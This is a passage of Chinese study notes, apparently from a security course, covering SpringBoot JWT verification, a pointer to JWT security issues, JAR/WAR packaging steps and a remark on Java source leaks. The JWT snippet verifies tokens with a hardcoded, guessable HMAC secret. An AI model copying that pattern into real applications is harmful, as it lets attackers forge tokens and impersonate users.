    JWTVerifier jwt = JWT.require(Algorithm.HMAC256("xiaodisec")).build();
    //解密注册数据
    DecodedJWT verify = jwt.verify(jwtdata);
    //提取解密数据
    Integer userid = verify.getClaim("userid").asInt();
  • 5、安全问题
    参考:https://cloud.tencent.com/developer/article/2101634

SpringBoot-打包部署-JAR&WAR

参考:https://mp.weixin.qq.com/s/HyqVt7EMFcuKXfiejtfleg

SpringBoot项目打包在linux服务器中运行:

①jar类型项目
jar类型项目使用SpringBoot打包插件打包时,会在打成的jar中内置tomcat的jar。
所以使用jdk直接运行jar即可,jar项目中功能将代码放到其内置的tomcat中运行。
②war类型项目
在打包时需要将内置的tomcat插件排除,配置servlet的依赖和修改pom.xml,然后将war文件放到tomcat安装目录webapps下,启动运行tomcat自动解析即可。

Jar打包

报错解决:
https://blog.csdn.net/Mrzhuangr/article/details/124731024
https://blog.csdn.net/wobenqingfeng/article/details/129914639
1、maven-clean-package
2、java -jar xxxxxx.jar

War打包

  • 1、pom.xml加入或修改:
    war
  • 2、启动类里面加入配置:
    1
    2
    3
    4
    5
    public class TestSwaggerDemoApplication extends SpringBootServletInitializer
    @Override
    protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
    return builder.sources(TestSwaggerDemoApplication.class);
    }
  • 3、maven-clean-package
  • 4、war放置tomcat后启动

JAVAEE源码架构:
无源码下载泄漏风险
源码泄漏也需反编译